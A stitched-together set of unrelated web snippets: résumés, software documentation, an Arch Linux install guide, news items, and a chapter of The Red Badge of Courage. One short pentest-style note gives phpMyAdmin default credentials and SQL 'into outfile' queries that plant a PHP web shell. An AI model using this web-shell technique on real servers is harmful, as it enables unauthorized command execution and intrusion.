University of the West Indies, Mona (2014-Present)
Major: Computer Science
Minor: Software Engineering
St Thomas Technical High School (2012-2014)
CAPE Studies
St Thomas Technical High School (2006-2011)
CAPE Studies
Personal Skills
Management, Team Work, Communication, Interpersonal Skills and Creativity
Professional skills
Computer, Adaptability, Photoshop CC and Office Suite Tools
Jamaica Observer Ltd Comp Sys Intern - Kingston, JA - 2015
- Worked on a web application now being used by the company
- Technical Support for other departments
- Provide assistance in server installation
Daniel's Service CenterPump Attendant - Kingston, JA - 2013
- Served gas to customers
- Handled minor vehicle maintainance
- Property control


Information about the project to delete. The /live/update/stop
API accepts requests in the following format:
StopLiveAlgorithmRequest Model - Request to stop a live algorithm. |
|
|---|---|
| projectId | integer Project Id for the live instance we want to stop. |
| Example |
{ "projectId": 0 } |


cad
The compas_fea package supports Rhino and Blender in the frontend.
Blender
Adds the Blender mesh’s nodes, edges and faces to the Structure object. |
|
Adds node and element data from Rhino layers to the Structure object. |
|
Adds node sets from objects in layers. |
|
Adds the Blender meshes’ vertices from a layer as a node set. |
|
Adds tetrahedron elements from a mesh in Rhino to the Structure object. |
|
Discretise a mesh from an input triangulated coarse mesh into small denser meshes. |
|
Extrudes a Rhino mesh and adds/creates elements. |
|
Plots concentrated forces forces for the Structure analysis results. |
|
Plots analysis results on the deformed shape of the Structure. |
|
Plots reaction forces for the Structure analysis results. |
|
Voxel 4D visualisation. |
|
Grab meshes on an input layer and weld them onto an output layer. |
Rhino
Adds element set information from Rhino curve and mesh guids. |
|
Adds node set information from Rhino point guids. |
|
Adds node and element data from Rhino layers to the Structure object. |
|
Add node and element sets to the Structure object from Rhino layers. |
|
Adds tetrahedron elements from a mesh in Rhino to the Structure object. |
|
Discretise a mesh from an input triangulated coarse mesh into small denser meshes. |
|
Extrudes a Rhino mesh and adds/creates elements. |
|
Creates a Network datastructure object from a list of Rhino curve guids. |
|
Extract vertex and edge orders from a Network for a given start-point. |
|
Plots reaction forces for the Structure analysis results. |
|
Plots concentrated forces forces for the Structure analysis results. |
|
Plots modal shapes from structure.results. |
|
Plot a volmesh datastructure. |
|
Plots a set of axes. |
|
Plots analysis results on the deformed shape of the Structure. |
|
Plots the principal stresses of the elements. |
|
Voxel 4D visualisation. |
|
Grab meshes on an input layer and weld them onto an output layer. |


I am an experienced developer who represents the human side of technology. I represent the human side of technology by assisting and teaching others how technology can make a difference in their lives. I am also a passionate problem solver, consultant, and leader who is always willing to lend a hand. Currently, I am pursuing a bachelor’s degree in software engineering and minoring in User Experience (UX) at the Milwaukee School of Engineering (MSOE). I am actively seeking experiences to enhance my skills and deepen my knowledge about technology.
Worked on the cloud team to create workflow template for Concurrency's Azure Cloud Economic Assessment clients. Collaborated with other interns to create a Power BI dashboard for the cloud economic assessment. Assisted with creating PowerShell Azure VM scripts and Azure Resource Manager (ARM) templates. Consistently performed various tasks in the Azure portal.
Taught small groups of students many STEM related topics and collaborated with the students when creating technology projects. Some topics I taught were 3D printing, 3D modeling, coding, and Adobe CC.
Member of agile development team. My role was to produce unit tests from test plans, manual test UI, looked for ways to prevent bugs in environment, as well as refactor project jars and code.
Floated between the data team, phone team, and cabling team. Performed various tasks such as initializing workstations, installing cameras, and configuring servers. I was also a member of their helpdesk solving customer problems on the fly.
It's just me running the show. To find out more visit the site: mentsolutions.com
I'm in charge of delegating tasks and ensuring "Every guest who chooses Culver's leaves happy." This includes ensuring the right team members are on correct stations and redeploying if necessary. I train team members on front of the house stations as well.
Apart from being a Software Engineering student, I am a drone photographer / videographer. If I can be of assistance in your next project, please reach out as I would be happy to help!
Check out my YouTube to see some of my work: https://youtube.com
Check out my Instagram to see some of my photos: https://instagram.com


--- layout: page title: "About" description: "I nerd out about finance and code" header-img: "img/about-bg.jpg" ---
The name of this blog comes from the fact that I was born in Romania and immigrated to Canada. I strongly believe in immigration and my tax dollars suggest that you should believe in it too.
I have worked in finance since 2007, when I graduated from St. Francis Xavier University with a Bachelor's Degree in Economics. January 2016 I embarked on a journey to learn code and went to San Francisco, California to attend DevBootcamp. I learned full stack programming by way of Ruby, JavaScript, Sinatra, and Ruby on Rails.
Recently I have been getting into Machine Learning using Python and it's awesome libraries. After, I plan on tackling AI and building a stock trading robot to take over the world. Muahahahaha!
Notable coding languages and frameworks I have experience with include:
Among the various finance courses I have finished are the following:
Besides scholarly pursuits, I enjoy skiing, reveling in the vanity of Instagram, and watching movies.


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Keep old .mcfunction
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Convert command on the fly
|
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Verbose logs
|
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Convert obsolete commands into execute counterparts
|
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Headline 1
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FOR
...


Let's go it
The homework
GRE test
and Projects
Even it is tired
Think about next winter break
8 hour sleep
and Happy


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Supporting these data structures is an I/O interface module called HSTIO. High-level functions in the HSTIO interface include: 1) functions to initialize all data structures, to allocate and free memory needed by the data structures, 2) macros to access elements of the two-dimensional data arrays, 3) functions to get and set values associated with header keywords, 4) functions to read and write entire Science, Error, and Data Quality HDUs, as well as NICMOS Samples and Integration Times HDUs, 5) functions to read and write single and multiple groups of {Science, Error, Data Quality} or, for NICMOS, groups of {Science, Error, Data Quality, Samples, Integration Times}. These functions recognize local conventions used in conjunction with the various HDUs, and generate arrays of the proper dimensionality and value.
The HSTIO interface also includes a number of lower-level functions that can be used if there is insufficient memory to store entire HDUs. These include: 1) opening and closing a particular image in a FITS file, 2) reading and writing the FITS header associated with an image, 3) reading and writing the data array associated with an image, and 4) reading and writing arbitrary lines or arbitrary two-dimensional sections of a data array associated with an image.
The structure of the software is shown in Figure 1. All of the high-level functions are implemented in terms of the lower-level functions. These lower-level functions are implemented using IRAF's image I/O, enhanced by the addition of the FITS kernel with support for image extensions.
Figure 1: HSTIO Interface


Welcome to freedom
When I started to work with computers and Linux based systems, I found myself in Ubuntu distributions, Ubuntu 10.04 was one of the bests. With time and experience I tried Debian OS, Elementary OS, LinuxMint OS, RedHat, but all theses systems seems to be the same. I don’t know but I can’t stop to search for the best distro for me. Until the ArchLinux show up!
My intention here is provide a simple installation guide that will help you to understand how Arch philosophy works. The official installation guide is the better way to understand the full installation of Arch.
Download the Arch ISO
First of all we can download the ISO from Archlinux website
- Image from https://www.archlinux.org/download/
The image can be burned to a CD, mounted as an ISO file, or be directly written to a USB stick using a utility like dd
.
Copy to a USB drive
dd bs=4M if=/path/to/archlinux.iso of=/dev/sdx status=progress oflag=sync
Run the following command, replacing /dev/sdx
with your drive, e.g. /dev/sdb
. (Do not append a partition number, so do not use something like /dev/sdb1).
Boot from USB drive
The new common way to install operational systems as Linux Systems or even Microsoft Windows is using UEFI system (You can read more about it here). Here we’ll use UEFI mode, make sure that secure boot is disabled in the BIOS configuration. To see if you are booted on UEFI mode, just list the directory
ls /sys/firmware/efi/efivars
if the directory does not exist, the system may be booted in BIOS or CSM mode.
Setup the environment
Internet connection
The ArchLinux installation enables the dhcpcd
daemon for wired network devices on boot. The connection may be verified with ping:
ping archlinux.org
If you have a wifi connection, you can try wifi-menu
and setup a wireless connection.
wifi-menu
Create partitions
This part can be a realy trick one. ArchLinux need just to partition, the \boot
partition (that needs to be format as FAT32) and the \
, the root partition. You can create more as \home
partition that keeps the users data.
To create the partitions I’ll use fdisk
, a simple manager to create a table partition. You can use cfdisk
if you want. First, identify the label of yours partitions
fdisk -l
the command above will show the disk attached to your computer such as /dev/sda
or /dev/nvme0n1
. Now you can create a new table of partition as GPT partition table, with to partition, \boot
and \
.
fdisk /dev/sda
you can learn about fdisk here. Basically you have to create a 500 Mb partition to that will be a boot partition and the rest to root partition. The result will be something like this:
Disk /dev/sda: 465.8 GiB,<PHONE_NUMBER>16 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 7D918645-8068-4E41-AB42-A411242F4546
Device Start End Sectors Size Type
/dev/sda1 2048 1023999 1021952 499M EFI System
/dev/sda2 1023999 976773119 659331072 464.4G Linux filesystem
Format the partitions
Once the partitions have been created, each must be formatted with an appropriate file system. For example, to format the boot partition on /dev/sda1
with FAT32
, run:
mkfs.vfat -F32 -n EFI /dev/sda1
and to format the root partition on /dev/sda2
with ext4
, run:
mkfs.ext4 /dev/sda2
Mount the new system
Now it’s time to mount the file system on the root partition to /mnt
, for example:
mount /dev/sda2 /mnt
Once the file system was mounted, we can create a different folder that will contain the boot
files
mkdir /mnt/boot
mount /dev/sda1 /mnt/boot
We finished the environment to create the ArchLinux installation.
Installing the system
ArchLinux is an rolling release distribution which means that we don’t have an specific version. So, to install the entire system with a minimal base package we can do
pacstrap /mnt base base-devel
In this moment we’re downloading the entire system and create the tree of system, with all directories as \home
, \etc
, ...
, \var
.
Generate fstab
We now have to specify to our computer the mount order, for example, which partition has to be mounted as \boot
partition or \
. It’s can be done running:
genfstab -U /mnt >> /mnt/etc/fstab
After this command the installation it’s almost finished, we have just to install the bootloader, to boot the system properly.
Enter the new system
Once installed, we have to setup the bootloader, but we can configure the entire installation as hostname, system clock, locale, new users, etc. I’ll put this as optional to keep the installation simple.
arch-chroot /mnt
If you wanna do it, following the next section, if not, you can skip to setup the mkinitcpio
.
Optional configuration
This is some simple configurations that can be done after the installation, but you can do right now.
Setup system clock
In my case, I live in Fortaleza/CE - Brazil, here is the way that I set my time:
ln -s /usr/share/zoneinfo/America/Fortaleza /etc/localtime
hwclock --systohc --utc
You can see the right locale to your place here.
Set the hostname
The hostname is your machine name’s, for example belchior
, and you can set as follows
echo belchior > /etc/hostname
Generate locale
This is how your computer will setup the language and characters. Uncomment wanted locales in /etc/locale.gen
vim /etc/locale.gen
locale-gen
localectl set-locale LANG=en_US.UTF-8
To avoid problems with gnome-terminal
set locale system wide
echo LANG=en_US.UTF-8 >> /etc/locale.conf
echo LC_ALL= >> /etc/locale.conf
Pay attention to the UTF-8. Capital letters!
Add user
Here you can add differents users to your machine
useradd -m -g users -G wheel <username>
passwd <username>
You can setup the new user to install as administrator
EDITOR=nano visudo
Inside visudo, find the line that says “Uncomment to allow members of group wheel to execute any command”. Just remove the comment from #%wheel ALL=(ALL) ALL. It should now look like this:
%wheel ALL=(ALL) ALL
Then CTRL + X, now it should prompt you if you want to save, press Y. Now wheel has proper permissions.
Set password for root
passwd
Starting dhcpcd
service on boot
This will provide an dynamic internet IP to your machine
systemctl enable dhcpcd.service
Installing bootloader
I chose the most common bootloader, grub, as always you can chose whatever you want, this is ArchLinux philosophy. To install grub
you can just type
pacman -S grub efibootmgr
Once grub
was installed you have to install grub directories on your \boot
partition
grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=grub
Now you can create the configuration file the will boot your system
grub-mkconfig -o /boot/grub/grub.cfg
You’ve finished
Yeah, congrats! You’ve finished the ArchLinux installation, you can exit from the installed system just typing
exit
Reboot into the new system, don’t forget to remove the cd/usb.
reboot
After installation
If you finished all this tutorial, probabily you want to install some interface as Gnome. To do this you have to install some packages as X-org
pacman -S xorg xorg-xinit gnome gnome-shell
After the installation just start the GDM service that’s provides the graphical managements of users.
systemctl enable gdm.service
Now, reboot one more time and the installation will be finished.
Best regards.


Gasly targets finishing in the points for first time in Brazil
by Tom MasonPierre Gasly is returning to race in Brazil for the third time and he is targeting a finish in the points having never previously done so. The penultimate race of the season is a key one for the Frenchman as he looks to build on 8th place in the standings.
"This will be my third time racing at Interlagos and so far I've not finished in the points, so that is the first target for the weekend.

"So, going to Brazil is always great as there is such a culture of Formula 1 in this country.
Gasly heads to Brazil full of confidence after signing a deal with Toro Rosso for next season.
The Frenchman came through in 13th place in Brazil last year.


Default credentials
root <blank>
pma <blank>
Upload a shell.

Run SQL query/queries on server "localhost":
From here we can just run a sql-query that creates a php script that works as a shell
So we add the following query:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell.php"
# For linux
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/shell.php"
The query is pretty self-explanatory. Now you just visit <IP_ADDRESS>/shell.php?cmd=ipconfig and you have a working web-shell. We can of course just write a superlong query with a better shell. But sometimes it is easier to just upload a simple web-shell, and from there download a better shell.


Retailer Sign Up
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Pre-Requisites for Smart Connection
Turn "On" the device and Select "Menu" option
Select "Home Connect Assistent"
Automatic network connection" prompt message arrives on display
"Network connection successful" message on Appliance indicating connection is established.
"Confirm Connection on the mobile device" prompt message arrives on display
Select "connect" on Launch of your App
Device Type "Microwave" is added to your mobile.


Bahvest may rebound higher, says RHB Retail Research
by theedgemarkets.comKUALA LUMPUR (Nov 4): RHB Retail Research said Bahvest Resources Bhd may rebound higher after it continued holding above the 50 sen support.
In a trading stocks note today, the research house said last Friday’s white candle sent the stock to its 6-week high, thereby enhancing the bullish sentiment.
“A positive bias may emerge above the 54 sen level, with an exit set below the 50 sen threshold.
“Towards the upside, the immediate resistance is at the 57.5 sen mark. This is followed by the 60.5 sen level,” it said.


Hosting Windows Forms Designers
Here. This article comes with the full source for hosting the WinForms Designers to enable form design in your own app. To my knowledge, none of this stuff is supported, but that doesn't make it any less cool!
[mikedub.net/GalleySlave]


--- permalink: biofeedback-chat image: img/cover/sad-goog.gif subtitle: "Diversity in Film 2017" title: "Super Sad Googles" --- {% include nav.html %}
I designed and carried out a pilot study exploring sharing animations based on biofeedback from a wristband sensor advised by Professor Geoffrey Kaufmann & PhD Candidate Fannie Liu as an independent study.
Sketch, HTML, CSS animations, Bootstrap, Node.js, Socket.io, Smoothie.js, Empatica Android SDK
Sketching, research planning, interview protocol design, interviewing, qualitative coding
I wrote up my process and findings for this pilot study in a final report for researchers at the eHeart Lab and Oh!Lab in Carnegie Mellon's Human-Computer Interaction Institute here: Pilot Study: Sharing Electrodermal Biofeedback with Customizable Kinetic Type.
I also documented the chat code, which is available on Github with README for setup with two participants.
Expressive biofeedback is the use of physiological data to influence social interactions. In this pilot study, I explored questions of trust, comfort, and expression, with regards to sharing biofeedback data through messages with kinetic typography in a web chat. Using electrodermal activity from the Empatica E4 wristband sensor, six participants monitored their baseline and current electrodermal activity in a chat interface while chatting with a confederate participant who asked emotionally charged questions of a variety of valences.
The pilot set out to explore four central questions:
This project built directly on Raina Langevin’s work for the project Understanding Perceptions of Expressive Biofeedback and Implementing it into a Kinetic Instant Messenger, which created several text animations corresponding to a variety of biofeedback. In the chat implementation which I built for this pilot study, I finished implementing the two-way chat and added animations into an effect library.
Each participant could choose from a library of text animation effects. As the participants typed, a preview box displayed an animation of their text with a fast or slow speed, as determined by whether the participant was above or below their baseline. While the participant could not control the animation speed, which was determined by their physiological data, they could control the animation style of the effect. In addition to choosing their effect, the participant could also choose whether or not to share with the other person in the chat. Each participant chatted with the experimenter, whose sharing settings were off, and answered a series of positive emotional, negative emotional, and neutral questions.
After sitting with the participant to calculate a baseline of activity, the participant could view a streaming chart of their electrodermal activity, and its status above or below a pre-calculated baseline, at any point during the pilot experiment.
After reviewing the finding and codebase for Raina Langevin’s previous kinetic typography work, I sketched out several feature design directions on paper and using Sketch before building on the working prototype with the existing CSS animations. In particular, I explored how sharing settings could be toggled, and considered surfacing animation categories to the participants.
After several rounds of critique to tie designs back to our research goals, as well checking them for technical feasibility, I moved forward to development and research planning for the final pilot design. The testing process and findings are documented in my final report: Pilot Study: Sharing Electrodermal Biofeedback with Customizable Kinetic Type.


val deletionRate: Double
The probability with which instructions should be deleted.
deletionRate - The probability with which instructions should be deleted.
deletionRate


Welcome, Joe
Log Out
₦ 2,300,000.00
Total Loans Requested
₦ 2,300,000.00
Loans Approved
₦ 0.00
Loans Rejected


translate
A simple to use Dart package, for detecting & translating text and html pages using Yandex.Translate API
Show some ❤, by putting ⭐
what does it do ?
- Fetches list of languages along with language codes, supported by Yandex.Translate API
- Detects which language given text belongs to
- Translates text or html page to certain language, denoted by language code
How to use ?
First get yourself a Yandex.Translate API Key, which can be found here.
Fetch list of supported language :
Languages('api_key')
.fetch()
.then(
(data) => print(data),
onError: (e) => print(e),
).then((val) => exit(0));
Response in case of success,
{
ru: 'Russian',
en: 'English',
}
Response in case of error,
{
error: ' ... '
}
Detect language of text :
DetectIt('api_key')
.detect('Hello World', hint: [
'en',
'de',
'ru',
'hi',
]) // hints are to be prioritized by platform while detecting language, if provided
.then(
(data) => print(data),
onError: (e) => print(e),
)
.then((val) => exit(0));
Response in case of success,
{
lang: 'en'
}
Response in case of error,
{
error: ' ... '
}
Translate Text :
TranslateIt('api_key')
.translate(
'<!DOCTYPE html><title>Hello World</title>
Hello World
',
'en-ru', // only `ru` will also do same job
type: 'html') // type is `html`, cause this text is markedup
.then(
(data) => print(data),
onError: (e) => print(e),
)
.then((val) => exit(0));
English | Russian --------|--------- |
Response in case of success,
{
text: ' ... '
}
Response in case of error,
{
error: ' ... '
}
Courtesy :
Translation API is powered by Yandex.Translate, so all thanks goes to them.
If you're interested in learning more about T&C, take a look here.
You can also go for priced version.
Hoping, it was helpful 😉


Although ABC Employer has reviewd the Data requirements document there is 1 error with their upload file. The error report will only provide ABC Employer with a list of the employee lines with errors not the entire AEWs input file
We have now successfully mapped ABC employers AEWs input file and dealt with the errors within the file.
➢ AEWS is designed to help you be compliant so the data needs to be accurate. The system can check for formatting issues like we've shown in the example however data quality is your own resposibility.
➢ Section 4.3.2 of the user guide.
➢ Data requirements document


Android+Raspberry PI
a match made in heaven
Who am I?
Daan van Berkel
@daan_van_berkel
dvberkel
Father
Husband
Software Developer
Community Member
How many Pi?
0
Multiple Pi?
0
Pi for Child?
0
Inspiration
10 PRINT "HELLO DROIDCON NL" 20 GOTO 10
€40 Pi
€10 Memory Card
€10 HDMI Cable
€10 Power Cable
€5 Ethernet Cable
€10 Keyboard
€10 Mouse
€30 WiPi
Whooping €125
example


Fixture in-depth
The fixture is the heart of FMF. Basically, a fixture organizes :
- the response content (body, headers, status, statusText) and additional options (delay, wrapper, pattern, before and after hooks)
- Optionally, the conditions that the request must match to allow use of the fixture
Request processing
When the server receives a request, it :
- tries to find a fixture with conditions that are matching explicitly the request. If multiple fixtures are found, it uses the first one. If none is found, it uses the fallback fixture if available or raise and error,
- passes the request to the fixture and await the response that triggers the fixture lifecycle,
- send back the response or an error if a problem occurred (see server error management).
Fixture lifecycle
When provided with the request, the fixture will :
- Process the
before
hook is one have been set, - Extract parameters from the url if a pattern have been set,
- Process the body callback or get the body value,
- Finalize the response setup from preset (if one have been used) and its own response configuration,
- Apply wrapper to body if one is set
- Construct a Response instance from response configuration
- Process the
after
hook if one have been set, - Delay the response if asked to,
- Return the response to the server instance.
You can use any of hooks and body callback to amend response content or even cut the lifecycle by throwing another response or error.
Fixture hooks and body callback
In each hooks and callbacks, you can throw to stop fixture processing. If you throw :
- A Response instance, it will be send back to the client immediately
- A Preset instance, it will be used to send back a response (useful for an HTTP error for instance)
- An error, it will used accordingly to server error management configuration
before
hook
It occurs at the very start of the fixture request processing. It receives the server instance, the request and the actual response configuration of the fixture as arguments.
You can return an updated response object that will be used for the rest of the lifecycle.
import {Server} from 'fetch-mock-fixtures'
const server = new Server();
server.respond.before((server, request, response) => {
// Detect multiple identical requests
if(request.url === server.request.url) throw new Error('Duplicate requests');
})
Body callback
The body callback is provided with two arguments :
- The params parsed from the request url as a key/value object
- An object exposing request, response and server as properties
This is the best place for building dynamic fixtures as parameterss are directly provided to the callback.
after
hook
The after hook is ran at the very end and is provided with the server instance and Response instance as arguments.
It is most likely the place to do some cleanings or data resets between calls.
Hooks scope
The hooks are called within the scope of the fixture and this
will refer to the fixture instance only if using regular function declaration. The scope of an arrow function is where the function have been declared, usually your test suite. For instance, to extract parameters from the before
hook :
import {Server} from 'fetch-mock-fixtures'
const server = new Server();
// Won't work - Scope problem
server.respond.before((server, request, response) => {
const params = this.extractParams(request.pathname, response.pattern);
})
// This will work
server.respond.before(function(server, request, response) {
const params = this.extractParams(request.pathname, response.pattern);
})
Adding fixtures to server
As soon as you have some sample data you are using in many tests, it may be appropriate to stop adding fixtures on-the-fly to the server instance.
For simple datasets, a bunch of presets may be handful but if you're going on using calls count (see requests matcher), you can simply declare all your fixtures in one file that you can import/require into your test script. Then, you can simply add fixtures to the server by importing them :
import {Server} from 'fetch-mock-fixtures'
import fixtures from '../myfixtures';
const server = new Server();
server.import(fixtures);
The fixtures can be response configuration object or fixtures instance.


Contact Us
Copyright
Copyright for this website will belong to the 'Great Art' company. Any content that is published onto this website belongs to the artist under the Copyright Act 1994. Except as provided by the Copyright Act 1994, no part of this publication may be reproduced or stored in a retrieval system in any form or by any means without the prior written permission of the copyright owner.


algorithms
Depth First Search
Breadth First Search
Dijkstra
A*
mazes & pattern
Recursive Division
Recursive Division (verticle skew)
Recursive Division (horizontal skew)
Basic Random Maze
Simple Stair Pattern
Speed:
Normal
Slow
Normal
Fast
visualize
clear path
clear board
Node Size:
Start Node
End Node
Wall Node
Weight Node
Unvisited Node
current Node
Visited Node


open fun getMainFragmentClass(): KClass<out MainFragment>
Override this if you need your own base fragment. Must be extend MainFragment


FoodPanda
What is foodpanda?
Foodpanda is a food delviery service that can assure you that the food we deliver will never be cold. Foodpanda is India's most convenient online food ordering site. It connects people with the best restaurants around them. Delivering in Delhi, Bangalore, Chennai, Mumbai, Hyderabad and over 100 other cities, foodpanda has the widest reach in India.
Ordering food with Foodpanda is as easy as this:
- Find the nearest restaurant to your house using Foodpanda's restolocation services
- Figure out what food you want to buy from our wide variety of cuisines
- Pay online or ask for cash on delivery
- Sit and relax at home while we deliver your food within 30 minutes!


Pat Schloss is an Associate Professor
in the Department of Microbiology & Immunology at the
University of Michigan where he uses bioinformatics to enable his
research into the role of human microbiota in maintaining
health. He also develops the mothur
open source project, which enables others to answer their own
microbial ecology questions using microbial sequence data.


September 2012 (as EXD/RDO): In Halong Bay, Viet Nam. My first picture with RD as EXD/RDO. We were starting to really understand each other.
July 2013 (as EXD/RDO): In Apia, Samoa at the 10th Pacific Health Ministers Meeting with Dr Shin, also known in the Pacific as Samoan Chief Pululiite (the leader who can see through the future, in other words : the leader with a vision).
21 October 2013 (as EXD/RDO): Standing by RD in WPRO, on RD re-election day during the RCM64.
October 2014 (as EXD/RDO): MC-ing and entertaining at all of RD's functions – even dancing the French cancan at RD's dinner during the RCM65 in Manila...These things weren’t part of my post description but I enjoyed them all.
October 2015 (as EXD/RDO): At the RCM66 in Guam, with two great leaders and men – my better half Peter and RD Dr Shin.
18 April 2016 (as EXD/RDO): In RD’s office celebrating my 50th birthday with the RDO gang.
August 2016 (as EXDRDO): In Papeete, French Polynesia with the President of French Polynesia and RD during a country visit. Note that RD has no glasses, and there is a whole story behind it…!
October 2017 (as DPS/WRSP): In Cook Islands, a moment of relaxation and complicity with RD during the 12th Pacific Health Ministers Meeting.
October 2017 (as DPS/WRSP): Pacific style during the 12th Pacific Health Ministers Meeting in the Cook Islands.
February 2012-October 2016: The woman in the shadow for nearly five intense but wonderful years. Thank you RD, for your trust, support, guidance and exceptional leadership. You made history in the WPR and in WHO.


{% if editOrCreate === "edit" %}
Cannot be changed - handover has been withdrawn
Cannot be changed - handover has been cleared


Easy Pie Chart is a liteweight plugin to draw simple, animated pie charts for single values.
Use it by adding an easypiechart
attribute and setting the data-percent
and data-options
values.
Using sliders is as easy as adding a ui-bs-slider
attribute and setting slider properties.
<input type="text" value="" ui-bs-slider data-slider-min="0" data-slider-max="100" data-slider-step="10" data-slider-value="[10, 90]" data-slider-selection="before" data-slider-tooltip="show" data-slider-handle="round">
jQuery Knob is a downward compatible, canvas based and touch friendly jQuery dial.
To use Knob, use Forza's knob
element and set data-*
properties like below. No JS code needed!
<knob value="25" data-width="180" data-displayInput="false" data-thickness=".15"></knob>
Display input disabled
Rounded Linecap
Cursor Mode
Angle offset and arc
Display previous values
Five digit values with 1,000 steps
Add progress loaders at the top of the page like YouTube!


Warscapia
Get your official Warscapian gear here!

Home page
Author page


The Red Badge of Courage
by Stephen Crane
Chapter 8
Additional Information
- Year Published: 1895
- Language: English
- Country of Origin: United States of America
- Source: Crane, S. (1895) The Red Badge of Courage New York: Charles Scribner’s Sons
-
Readability:
- Flesch–Kincaid Level: 5.9
- Word Count: 1,934
- Genre: Realism
- Keywords: 19th century literature, american literature
- ✎ Cite This
Downloads
The trees began softly to sing a hymn of twilight. The sun sank until slanted bronze rays struck the forest. There was a lull in the noises of insects as if they had bowed their beaks and were making a devotional pause. There was silence save for the chanted chorus of the trees.
Then, upon this stillness, there suddenly broke a tremendous clangor of sounds. A crimson roar came from the distance.
The youth stopped. He was transfixed by this terrific medley of all noises. It was as if worlds were being rended. There was the ripping sound of musketry and the breaking crash of the artillery.
His mind flew in all directions. He conceived the two armies to be at each other panther fashion. He listened for a time. Then he began to run in the direction of the battle. He saw that it was an ironical thing for him to be running thus toward that which he had been at such pains to avoid. But he said, in substance, to himself that if the earth and the moon were about to clash, many persons would doubtless plan to get upon the roofs to witness the collision.
As he ran, he became aware that the forest had stopped its music, as if at last becoming capable of hearing the foregin sounds. The trees hushed and stood motionless. Everything seemed to be listening to the crackle and clatter and earthshaking thunder. The chorus peaked over the still earth.
It suddenly occurred to the youth that the fight in which he had been was, after all, but perfunctory popping. In the hearing of this present din he was doubtful if he had seen real battle scenes. This uproar explained a celestial battle; it was tumbling hordes a-struggle in the air.
Reflecting, he saw a sort of a humor in the point of view of himself and his fellows during the late encounter. They had taken themselves and the enemy very seriously and had imagined that they were deciding the war. Individuals must have supposed that they were cutting the letters of their names deep into everlasting tablets of brass, or enshrining their reputations forever in the hearts of their countrymen, while, as to fact, the affair would appear in printed reports under a meek and immaterial title. But he saw that it was good, else, he said, in battle every one would surely run save forlorn hopes and their ilk.
He went rapidly on. He wished to come to the edge of the forest that he might peer out.
As he hastened, there passed through his mind pictures of stupendous conflicts. His accumulated thought upon such subjects was used to form scenes. The noise was as the voice of an eloquent being, describing.
Sometimes the brambles formed chains and tried to hold him back. Trees, confronting him, stretched out their arms and forbade him to pass. After its previous hostility this new resistance of the forest filled him with a fine bitterness. It seemed that Nature could not be quite ready to kill him.
But he obstinately took roundabout ways, and presently he was where he could see long gray walls of vapor where lay battle lines. The voices of cannon shook him. The musketry sounded in long irregular surges that played havoc with his ears. He stood regardant for a moment. His eyes had an awestruck expression. He gawked in the direction of th fight.
Presently he proceeded again on his forward way. The battle was like the grinding of an immense and terrible machine to him. Its complexities and powers, its grim processes, fascinated him. He must go close and see it produce corpses.
He came to a fence and clambered over it. On the far side, the ground was littered with clothes and guns. A newspaper, folded up, lay in the dirt.  Farther off there was a group of four or five corpses keeping mournful company. A hot sun had blazed upon this spot.
In this place the youth felt that he was an invader. This forgotten part of the battle ground was owned by the dead men, and he hurried, in the vague apprehension that one of the swollen forms would rise and tell him to begone.
He came finally to a road from which he could see in the distance dark and agitated bodies of troops, smoke-fringed. In the lane was a blood-stained crowd streaming to the rear. The wounded men were cursing, groaning, and wailing. In the air, always, was a mighty swell of sound that it seemed could sway the earth. With the courageous words of the artillery and the spiteful sentences of the musketry mingled red cheers. And from this region of noises came the steady current of the maimed.
One of the wounded men had a shoeful of blood. He hopped like a schoolboy in a game. He was laughing hysterically.
One was swearing that he had been shot in the arm through the commanding general’s mismanagement of the army. One was marching with an air imitative of some sublime drum major. Upon his features was an unholy mixture of merriment and agony. As he marched he sang a bit of doggerel in a high and quavering voice:
“Sing a song ‘a vic’try,
A pocketful ‘a bullets,
Five an’ twenty dead men
Baked in a—pie.”
Parts of the procession limped and staggered to this tune.
Another had the gray seal of death already upon his face. His lips were curled in hard lines and his teeth were clinched.  He seemed to be awaiting the moment when he should pitch headlong. He stalked like the specter of a soldier, his eyes burning with the power of a stare into the unknown.

An officer was carried along by two privates. He was peevish. “Don’t joggle so, Johnson, yeh fool,” he cried. “Think m’ leg is made of iron? If yeh can’t carry me decent, put me down an’ let some one else do it.”
He bellowed at the tottering crowd who blocked the quick march of his bearers. “Say, make way there, can’t yeh? Make way, dickens take it all.”
They sulkily parted and went to the roadsides. As he was carried past they made pert remarks to him. When he raged in reply and threatened them, they told him to be damned.
The shoulder of one of the tramping bearers knocked heavily against the spectral soldier who was staring into the unknown.
The youth joined this crowd and marched along with it. The torn bodies expressed the awful machinery in which the men had been entangled.
Orderlies and couriers occasionally broke through the throng in the roadway, scattering wounded men right and left, galloping on followed by howls. The melancholy march was continually disturbed by the messengers, and sometimes by bustling batteries that came swinging and thumping down upon them, the officers shouting orders to clear the way.
There was a tattered man, fouled with dust, blood and powder stain from hair to shoes, who trudged quietly at the youth’s side. He was listening with eagerness and much humility to the lurid descriptions of a bearded sergeant. His lean features wore an expression of awe and admiration. He was like a listener in a country store to wondrous tales told among the sugar barrels. He eyed the story-teller with unspeakable wonder. His mouth was agape in yokel fashion.
The sergeant, taking note of this, gave pause to his elaborate history while he administered a sardonic comment. “Be keerful, honey, you ‘ll be a-ketchin’ flies,” he said.
The tattered man shrank back abashed.
After a time he began to sidle near to the youth, and in a diffident way try to make him a friend. His voice was gentle as a girl’s voice and his eyes were pleading. The youth saw with surprise that the soldier had two wounds, one in the head, bound with a blood-soaked rag, and the other in the arm, making that member dangle like a broken bough.
After they had walked together for some time the tattered man mustered sufficient courage to speak. “Was pretty good fight, wa’n’t it?” he timidly said. The youth, deep in thought, glanced up at the bloody and grim figure with its lamblike eyes. “What?”
“Was pretty good fight, wa’n’t it?”
“Yes,” said the youth shortly. He quickened his pace.
But the other hobbled industriously after him. There was an air of apology in his manner, but he evidently thought that he needed only to talk for a time, and the youth would perceive that he was a good fellow.
“Was pretty good fight, wa’n’t it?” he began in a small voice, and the he achieved the fortitude to continue. “Dern me if I ever see fellers fight so. Laws, how they did fight! I knowed th’ boys ‘d like it when they onct got square at it. Th’ boys ain’t had no fair chanct up t’ now, but this time they showed what they was. I knowed it ‘d turn out this way. Yeh can’t lick them boys. No, sir! They ‘re fighters, they be.”
